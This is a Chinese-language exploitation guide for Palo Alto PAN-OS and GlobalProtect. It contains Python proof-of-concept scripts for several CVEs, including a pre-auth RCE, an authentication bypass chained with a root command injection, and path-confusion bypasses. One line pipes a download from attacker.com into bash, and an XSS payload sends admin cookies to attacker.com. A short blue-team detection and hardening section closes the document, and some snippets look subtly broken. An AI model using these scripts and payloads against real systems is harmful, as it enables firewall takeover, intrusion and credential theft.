Palo Alto PAN-OS GlobalProtect 认证绕过 RCE SSL-VPN CVE漏洞链利用技术

0x00 攻击面总览

Palo Alto Networks PAN-OS 是全球部署最广泛的下一代防火墙操作系统之一,GlobalProtect 是其 SSL-VPN 解决方案。PAN-OS 是 APT 组织的首要攻击目标,2024 年被称为"PAN-OS 漏洞年",多个零日被大规模在野利用:

攻击面默认端口风险等级说明
GlobalProtect SSL-VPN443严重CVE-2024-3400 预认证 RCE(CVSS 10.0)
管理接口认证绕过443/8443严重CVE-2024-0012, CVE-2025-0108
管理接口提权443/8443严重CVE-2024-9474 权限提升到 Root
路径验证命令注入443严重CVE-2024-9463/9464
Captive Portal443严重CVE-2026-0300 缓冲区溢出零日
OpenSSL DoS443高危CVE-2022-0778 无限循环 DoS
Management XSS8443中危CVE-2023-0004 反射型 XSS

核心攻击模式: PAN-OS 的攻击链通常遵循"认证绕过 + 权限提升/命令注入"的两步模式。CVE-2024-0012 (认证绕过) + CVE-2024-9474 (提权到 Root) 是最经典的组合。

0x01 服务识别与版本探测

1.1 指纹识别

nmap -sV -p 443,8443 <target>

# GlobalProtect 登录页面
curl -sk https://TARGET/ | grep -i "globalprotect\|palo alto"
curl -sk https://TARGET/global-protect/login.esp | head -50

# 管理接口
curl -sk https://TARGET:8443/ | grep -i "paloalto\|pan-os"

# API 探测
curl -sk https://TARGET/api/?type=op&cmd=<show><system><info></system></show>&key=APIKEY

1.2 关键路径枚举

/                               # GlobalProtect 首页
/ssl-vpn/hipreport.esp          # HIP 报告 (CVE-2024-3400 入口)
/global-protect/login.esp       # GlobalProtect 登录页
/global-protect/getconfig.esp   # 配置获取
/php/ztp_gate.php               # Zero Touch Provisioning (CVE-2024-0012)
/api/                           # PAN-OS XML API
:8443/                          # 管理接口
:8443/php/                      # 管理接口 PHP

1.3 版本判断

import requests
import urllib3
urllib3.disable_warnings()

def detect_panos(host, port=443):
    base_url = f"https://{host}:{port}"

    # 检查 GlobalProtect
    try:
        resp = requests.get(f"{base_url}/global-protect/login.esp",
                            verify=False, timeout=5)
        if resp.status_code == 200:
            print("[+] GlobalProtect login page detected")
            if "Palo Alto" in resp.text:
                print("[+] PAN-OS confirmed")
    except:
        pass

    # 检查 HIP 报告端点 (CVE-2024-3400)
    try:
        resp = requests.post(f"{base_url}/ssl-vpn/hipreport.esp",
                             verify=False, timeout=5)
        print(f"[*] HIP report endpoint: {resp.status_code}")
    except:
        pass

    # 检查管理接口
    try:
        resp = requests.get(f"https://{host}:8443/",
                            verify=False, timeout=5)
        if resp.status_code == 200:
            print("[+] Management interface detected on 8443")
    except:
        pass

detect_panos("192.168.1.1")

0x02 CVE-2024-3400 — GlobalProtect 预认证 RCE

2.1 漏洞原理

CVSS: 10.0(严重)

影响版本: PAN-OS 10.2.0 - 10.2.8, 11.0.0 - 11.0.3, 11.1.0 - 11.1.2 (启用 GlobalProtect gateway/portal)

漏洞原理: PAN-OS 的 gpsvc 进程在处理 /ssl-vpn/hipreport.esp 的 POST 请求时,SESSID 参数未正确过滤,允许目录穿越创建任意文件。Telemetry 处理逻辑遍历该目录时使用 subprocess.Popen(..., shell=True) 构建命令,文件名被注入到 curl --data-binary @<fname> 命令中,实现 Root RCE。

两阶段攻击链:

Stage 1: SESSID 目录穿越
  POST /ssl-vpn/hipreport.esp
  Cookie: SESSID=../../../opt/panlogs/tmp/device_telemetry/minute/hello`{cmd}`
  → 在设备上创建包含恶意命令的文件

Stage 2: 命令注入
  Telemetry 处理逻辑自动遍历目录
  → subprocess.Popen("curl ... @" + filename, shell=True)
  → 恶意文件名中的反引号命令被执行 → Root RCE

2.2 PoC 利用

import requests
import urllib3
urllib3.disable_warnings()

def exploit_cve_2024_3400(host, port=443, cmd="id"):
    """
    CVE-2024-3400 — GlobalProtect 预认证 RCE
    通过 SESSID 目录穿越 + 文件名命令注入
    """
    base_url = f"https://{host}:{port}"

    # 构造恶意 SESSID
    # 目录穿越到 telemetry 目录,文件名包含反引号命令注入
    malicious_sessid = (
        "../../../opt/panlogs/tmp/device_telemetry/minute/hello"
        + f"`{cmd}`"
    )

    headers = {
        "Cookie": f"SESSID={malicious_sessid}",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    data = "client-type=1&protocol-version=p1&clientos=Windows&clientosversion=10&hostname=test&clientgpversion=1.0&client-ip=127.0.0.1&client-ipv6=&user=&domain=&computer=&client-id=12345&state=connected"

    resp = requests.post(
        f"{base_url}/ssl-vpn/hipreport.esp",
        headers=headers,
        data=data,
        verify=False,
        timeout=10
    )

    print(f"[*] CVE-2024-3400 exploit sent: {resp.status_code}")
    print(f"[*] Command: {cmd}")
    print(f"[*] Wait for telemetry processing (typically 1-5 minutes)")

exploit_cve_2024_3400("192.168.1.1", cmd="curl http://attacker.com/shell.sh|bash")

2.3 UPSTYLE 后门分析

CVE-2024-3400 被利用后常部署 UPSTYLE 后门:

UPSTYLE 后门机制:
1. 写入 /usr/lib/python3.6/site-packages/system.pth
   → Python .pth 文件自动执行机制
2. 读取 sslvpn_ngx_error.log 中的命令
3. 执行命令,输出写入 bootstrap.min.css
4. 15 秒后恢复原始 CSS 内容
5. 备份机制: cron 定时 wget C2 策略

0x03 CVE-2024-0012 — 管理接口认证绕过

3.1 漏洞原理

CVSS: 9.3(严重)

影响版本: PAN-OS 11.2 < 11.2.4-h1, 11.1 < 11.1.5-h1, 11.0 < 11.0.6-h1, 10.2 < 10.2.12-h2

漏洞原理: PAN-OS 管理接口使用 Nginx 反向代理 + Apache + PHP。认证检查在 uiEnvSetup.php 中通过 HTTP_X_PAN_AUTHCHECK 头判断。Nginx 默认设置 X-PAN-AUTHCHECK: on,但攻击者通过在 URL 路径末尾追加 .js.map 后缀,可以绕过 Nginx 路径匹配规则,使该头变为 off

操作名称: Operation Lunar Peek

3.2 PoC 利用

import requests
import urllib3
urllib3.disable_warnings()

def exploit_cve_2024_0012(host, port=443):
    """
    CVE-2024-0012 — 管理接口认证绕过
    通过 .js.map 后缀绕过 Nginx X-PAN-AUTHCHECK 检查
    """
    base_url = f"https://{host}:{port}"

    # 关键: URL 路径末尾添加 .js.map
    # 使 Nginx 不设置 X-PAN-AUTHCHECK: on
    bypass_paths = [
        "/php/ztp_gate.php/.js.map",
        "/php/createRemoteAppwebSession.php/.js.map",
        "/api/.js.map",
    ]

    for path in bypass_paths:
        resp = requests.get(f"{base_url}{path}",
                            verify=False, timeout=5)
        print(f"[*] {path}: {resp.status_code}")
        if resp.status_code == 200:
            print(f"[+] Auth bypass confirmed!")
            print(f"[*] Response: {resp.text[:300]}")

exploit_cve_2024_0012("192.168.1.1")

0x04 CVE-2024-9474 — 权限提升到 Root

4.1 漏洞原理

CVSS: 6.9(中等)

影响版本: PAN-OS 11.2 < 11.2.4-h1, 11.1 < 11.1.5-h1, 11.0 < 11.0.6-h1, 10.2 < 10.2.12-h2

漏洞原理: 在获取认证绕过后(CVE-2024-0012),createRemoteAppwebSession.php 端点的 user 参数存在反引号命令注入,PHP session ID 被返回并用于执行注入的代码,最终实现 Root 级命令执行。

4.2 完整攻击链: CVE-2024-0012 + CVE-2024-9474

import requests
import urllib3
urllib3.disable_warnings()

def exploit_full_chain(host, port=443, cmd="id"):
    """
    完整攻击链: CVE-2024-0012 (认证绕过) + CVE-2024-9474 (Root 提权)
    """
    base_url = f"https://{host}:{port}"

    # Step 1: 认证绕过 (CVE-2024-0012)
    # 通过 .js.map 后缀绕过认证
    bypass_url = f"{base_url}/php/createRemoteAppwebSession.php/.js.map"

    # Step 2: 命令注入 (CVE-2024-9474)
    # 在 user 参数中注入反引号命令
    inject_payload = {
        "user": f"`{cmd}`",
        "password": "test",
    }

    resp = requests.post(bypass_url,
                         data=inject_payload,
                         verify=False,
                         timeout=10)

    if resp.status_code == 200:
        print(f"[+] CVE-2024-0012 + CVE-2024-9474 chain exploited!")
        print(f"[*] Response: {resp.text[:500]}")
    else:
        print(f"[-] Exploit failed: {resp.status_code}")

exploit_full_chain("192.168.1.1", cmd="cat /etc/passwd")

0x05 CVE-2025-0108 — Nginx/Apache 路径混淆认证绕过

5.1 漏洞原理

CVSS: 8.8(高危)

影响版本: PAN-OS 11.2 < 11.2.4, 11.1 < 11.1.5, 10.2 < 10.2.12

漏洞原理: PAN-OS 管理接口的 Nginx 和 Apache 对 URL 路径的解析存在差异。Nginx 将 /unauth/..%2f 解析为 /unauth/../ (即根路径),而 Apache 将其解析为 /unauth/..%2f (保持原样)。攻击者利用此差异绕过认证。

5.2 PoC 利用

def exploit_cve_2025_0108(host, port=443, cmd="id"):
    """
    CVE-2025-0108 — Nginx/Apache 路径混淆认证绕过
    """
    base_url = f"https://{host}:{port}"

    # 路径混淆 payload
    # Nginx 解析为根路径,Apache 保持原样
    bypass_paths = [
        "/unauth/..%2fphp/createRemoteAppwebSession.php",
        "/unauth/..%2f..%2fphp/ztp_gate.php",
        "/%252e%252e/php/createRemoteAppwebSession.php",
    ]

    for path in bypass_paths:
        resp = requests.get(f"{base_url}{path}",
                            verify=False, timeout=5)
        print(f"[*] {path}: {resp.status_code}")

    # 结合 CVE-2024-9474 提权
    inject_url = f"{base_url}/unauth/..%2fphp/createRemoteAppwebSession.php"
    resp = requests.post(inject_url,
                         data={"user": f"`{cmd}`", "password": "test"},
                         verify=False, timeout=10)
    if resp.status_code == 200:
        print(f"[+] CVE-2025-0108 + CVE-2024-9474 chain exploited!")

exploit_cve_2025_0108("192.168.1.1")

0x06 CVE-2024-9463/9464 — 路径验证命令注入

6.1 漏洞原理

CVSS: CVE-2024-9463 (9.9), CVE-2024-9464 (9.3)

影响版本: PAN-OS (Expedition 特定配置)

漏洞原理: PAN-OS Expedition 组件在处理路径验证时存在 OS 命令注入。攻击者通过构造恶意输入触发命令执行。

def exploit_cve_2024_9463(host, port=443, cmd="id"):
    """
    CVE-2024-9463 — 路径验证 OS 命令注入
    """
    base_url = f"https://{host}:{port}"

    # 路径注入 payload
    # 在路径参数中注入 shell 命令
    inject_url = f"{base_url}/API/"
    payload = {
        "type": "config",
        "action": "set",
        "xpath": f"/devices/entry[@name='localhost.localdomain']/device-group/entry[@name='test']",
        "element": f"<devices><entry name='localhost.localdomain'><device-group><entry name='test'><address><entry name='test'><ip-netmask>127.0.0.1/32`{cmd}`</ip-netmask></entry></address></entry></device-group></entry></devices>",
    }

    resp = requests.post(inject_url, data=payload, verify=False, timeout=10)
    print(f"[*] CVE-2024-9463 exploit: {resp.status_code}")

exploit_cve_2024_9463("192.168.1.1")

0x07 CVE-2026-0300 — Captive Portal 缓冲区溢出

7.1 漏洞原理

CVSS: 9.3(严重)

影响版本: PAN-OS (特定版本)

漏洞原理: Captive Portal 功能存在缓冲区溢出漏洞。攻击者通过精心构造的请求触发溢出,结合 ptrace 注入技术实现远程代码执行。此漏洞被威胁组织 CL-STA-1132 作为零日利用。

7.2 利用方式

def exploit_cve_2026_0300(host, port=443):
    """
    CVE-2026-0300 — Captive Portal 缓冲区溢出 RCE
    注意: 实际利用需要精确的内存布局控制
    """
    base_url = f"https://{host}:{port}"

    # Captive Portal 端点
    # 构造超长请求触发缓冲区溢出
    overflow_payload = "A" * 8192

    resp = requests.post(
        f"{base_url}/ssl-vpn/login.esp",
        data={"user": overflow_payload, "password": "test"},
        verify=False,
        timeout=10
    )
    print(f"[*] CVE-2026-0300 exploit sent: {resp.status_code}")
    print("[*] Monitor for service crash/restart")

exploit_cve_2026_0300("192.168.1.1")

0x08 CVE-2022-0778 — OpenSSL 无限循环 DoS

8.1 漏洞原理

CVSS: 7.5(高危)

影响版本: 使用 OpenSSL 1.0.2/1.1.1/3.0.0 的 PAN-OS 版本

漏洞原理: OpenSSL 的 BN_mod_sqrt() 函数在解析特定畸形椭圆曲线证书时进入无限循环。攻击者发送精心构造的 TLS ClientHello,触发 CPU 耗尽导致 DoS。

def exploit_cve_2022_0778(host, port=443):
    """
    CVE-2022-0778 — OpenSSL 无限循环 DoS
    通过发送畸形 TLS 握手触发 CPU 耗尽
    """
    import ssl
    import socket

    # 需要构造包含畸形椭圆曲线参数的 TLS ClientHello
    # 实际利用需要自定义 TLS 握手包
    print("[*] CVE-2022-0778 requires custom TLS ClientHello")
    print("[*] Craft certificate with non-prime field order")
    print("[*] Monitor CPU utilization on target")

    # 简单的连接洪泛作为辅助 DoS
    for i in range(100):
        try:
            context = ssl.create_default_context()
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            ssock = context.wrap_socket(sock, server_hostname=host)
            ssock.connect((host, port))
        except:
            pass

    print("[*] Connection flood sent")

exploit_cve_2022_0778("192.168.1.1")

0x09 CVE-2023-0004 — 管理接口反射型 XSS

9.1 漏洞原理

CVSS: 6.1(中等)

影响版本: PAN-OS 10.1, 10.2, 11.0, 11.1 (管理 Web 接口)

漏洞原理: PAN-OS 管理接口在错误页面、配置视图或诊断页面中未正确编码用户输入,导致反射型 XSS。

def exploit_cve_2023_0004(host, port=8443):
    """
    CVE-2023-0004 — 管理接口反射型 XSS
    需要诱导管理员点击恶意链接
    """
    base_url = f"https://{host}:{port}"

    # XSS payload
    xss_payload = '<script>document.location="http://attacker.com/steal?c="+document.cookie</script>'

    # 构造包含 XSS 的 URL
    malicious_url = f"{base_url}/php/{}&param={xss_payload}"

    print(f"[*] XSS payload URL:")
    print(f"    {malicious_url}")
    print(f"[*] Deliver to admin via phishing/social engineering")

exploit_cve_2023_0004("192.168.1.1")

0x10 漏洞组合攻击链

10.1 攻击链一: GlobalProtect 预认证 RCE (CVE-2024-3400)

CVE-2024-3400 (GlobalProtect 预认证 RCE)
    ↓ SESSID 目录穿越 + 文件名命令注入
Root 权限命令执行
    ↓ 部署 UPSTYLE 后门
持久化访问 + 凭据窃取

10.2 攻击链二: 管理接口完全接管 (CVE-2024-0012 + CVE-2024-9474)

CVE-2024-0012 (管理接口认证绕过)
    ↓ .js.map 后缀绕过 Nginx 认证
CVE-2024-9474 (权限提升到 Root)
    ↓ createRemoteAppwebSession 反引号注入
完全控制防火墙 → 修改策略/窃取配置/横向移动

10.3 攻击链三: 新认证绕过 + 旧提权 (CVE-2025-0108 + CVE-2024-9474)

CVE-2025-0108 (Nginx/Apache 路径混淆)
    ↓ /unauth/..%2f 绕过认证
CVE-2024-9474 (权限提升)
    ↓ 同上
完全控制防火墙

10.4 已知威胁组织 TTP

威胁组织类型使用的 CVE操作名称
UNC5221国家级 APTCVE-2024-3400Operation MidnightEclipse
相关 APT国家级 APTCVE-2024-0012, CVE-2024-9474Operation Lunar Peek
CL-STA-1132国家级 APTCVE-2026-0300Captive Portal 零日
相关 APT国家级 APTCVE-2021-3064Management RCE 零日

0x11 历史 CVE 漏洞时间线

2017-2019 早期漏洞

CVE 编号年份CVSS类型影响
CVE-2017-1594420179.8RCE管理接口 XML API 未认证 RCE
CVE-2018-1014020189.8认证绕过GlobalProtect Portal 认证绕过
CVE-2019-157920199.8RCEGlobalProtect 预认证 RCE(高度武器化)

2020-2021 认证绕过时代

CVE 编号年份CVSS类型影响
CVE-2020-202120209.8认证绕过SAML 认证绕过
CVE-2021-306420219.8RCE管理接口 RCE(零日在野利用)
CVE-2021-306320218.1RCEGlobalProtect 网关缓冲区溢出

2022-2023 间歇期

CVE 编号年份CVSS类型影响
CVE-2022-002820228.6DoS放大反射 DoS
CVE-2022-077820227.5DoSOpenSSL 无限循环影响 PAN-OS
CVE-2023-000420236.1XSS管理接口反射型 XSS

2024 漏洞爆发年

CVE 编号年份CVSS类型影响
CVE-2024-3400202410.0RCEGlobalProtect 预认证 RCE(零日)
CVE-2024-591020247.4认证绕过PAN-OS Expedition 缺失认证
CVE-2024-001220249.3认证绕过管理接口 .js.map 认证绕过
CVE-2024-947420246.9提权管理接口 Root 提权
CVE-2024-946320249.9RCE路径验证命令注入
CVE-2024-946420249.3RCE路径验证命令注入变体

2025-2026 持续修补

CVE 编号年份CVSS类型影响
CVE-2025-010820258.8认证绕过Nginx/Apache 路径混淆认证绕过
CVE-2025-011120257.1文件读取认证后任意文件读取
CVE-2026-030020269.3RCECaptive Portal 缓冲区溢出零日

攻击模式演进分析

2017-2019: 直接 RCE 时代
  CVE-2017-15944 (管理接口 RCE)
  CVE-2019-1579 (GlobalProtect RCE)
      |
2020-2021: 认证绕过 + RCE 链开始
  CVE-2020-2021 (SAML 绕过)
  CVE-2021-3064 (管理接口 RCE 零日)
      |
2024: PAN-OS 漏洞年
  CVE-2024-3400 (GlobalProtect 预认证 RCE)
  CVE-2024-0012 + CVE-2024-9474 (认证绕过 + 提权)
      |
2025: 攻击同类原语
  CVE-2025-0108 + CVE-2024-9474 (新绕过 + 旧提权)
      |
2026: 新攻击面
  CVE-2026-0300 (Captive Portal 缓冲区溢出零日)

0x12 蓝队检测与应急响应

12.1 日志分析

# CVE-2024-3400 检测
grep "unmarshal session" /var/log/pan/gpsvc.log | grep -v "GUID格式"
grep "\.\./" /var/log/pan/gpsvc.log
grep "base64\|bash\|echo" /var/log/pan/gpsvc.log

# CVE-2024-0012 检测
grep "\.js\.map" /var/log/pan/webserver.log
grep "X-PAN-AUTHCHECK.*off" /var/log/pan/webserver.log
grep "ztp_gate.php" /var/log/pan/webserver.log

# CVE-2024-9474 检测
grep "createRemoteAppwebSession" /var/log/pan/webserver.log | grep -v "正常用户"

# UPSTYLE 后门检测
ls -la /usr/lib/python3.6/site-packages/system.pth
grep "crond\|wget\|bash" /var/log/syslog-system.log

# 异常出站连接
grep "crond" /var/log/syslog-system.log | grep "wget"

12.2 应急响应清单

[ ] 确认 PAN-OS 版本与已安装补丁
    - show system info
    - 对比 Palo Alto 安全公告

[ ] 排查 CVE-2024-3400 (GlobalProtect RCE)
    - 检查 gpsvc.log 中的异常 SESSID
    - 检查 telemetry 目录中的异常文件
    - 扫描 UPSTYLE 后门

[ ] 排查 CVE-2024-0012 (管理接口认证绕过)
    - 检查 webserver.log 中的 .js.map 请求
    - 审计管理接口访问日志
    - 检查是否有异常管理员会话

[ ] 排查 CVE-2024-9474 (Root 提权)
    - 检查 createRemoteAppwebSession 调用
    - 审计 PHP session 创建记录
    - 检查 /var/appweb/ 下的异常文件

[ ] 排查 CVE-2025-0108 (路径混淆)
    - 检查 URL 中的 %252e 编码
    - 检查 /unauth/ 路径访问

[ ] 排查 CVE-2026-0300 (Captive Portal)
    - 检查 Captive Portal 日志异常
    - 监控服务崩溃/重启记录

[ ] 排查 UPSTYLE 后门
    - 检查 system.pth 文件
    - 检查 cron 定时任务
    - 扫描异常出站连接

[ ] 网络隔离与加固
    - 管理接口仅内网可达
    - 启用 MFA
    - 升级到最新 PAN-OS 版本
    - 启用 Threat Prevention 签名

0x13 安全审计清单

[ ] PAN-OS 已升级到最新稳定版本
[ ] GlobalProtect 已应用所有安全补丁
[ ] 管理接口仅内网可达,不暴露于互联网
[ ] 管理接口使用强密码 + MFA
[ ] 已检查并清除 UPSTYLE 后门
[ ] Threat Prevention 签名已更新
[ ] 日志已启用并远程收集
[ ] 定期进行漏洞扫描
[ ] 实施网络分段策略
[ ] 建立应急响应预案

0x14 总结

Palo Alto PAN-OS 的安全问题核心在于"防火墙自身的安全债务":

  1. GlobalProtect 攻击面巨大: 作为互联网暴露的 SSL-VPN 组件,CVE-2024-3400 (CVSS 10.0) 允许预认证 RCE
  2. 管理接口反复沦陷: CVE-2024-0012、CVE-2025-0108 等认证绕过漏洞持续出现,Nginx/Apache 的路径解析差异成为攻击原语
  3. 漏洞链组合成熟: 攻击者已形成"认证绕过 + 提权/命令注入"的标准攻击模式
  4. 零日利用频繁: 2024-2026 年连续出现零日漏洞,且被国家级 APT 组织利用

防守方核心策略:

  • 管理接口隔离: 绝对不将 PAN-OS 管理接口暴露于互联网
  • 及时打补丁: Palo Alto 安全公告发布后 48 小时内应用补丁
  • Threat Prevention: 启用所有厂商提供的 IPS 签名
  • 持续监控: 监控 gpsvc.log、webserver.log、异常出站连接
  • MFA 强制: 所有管理访问必须启用双因素认证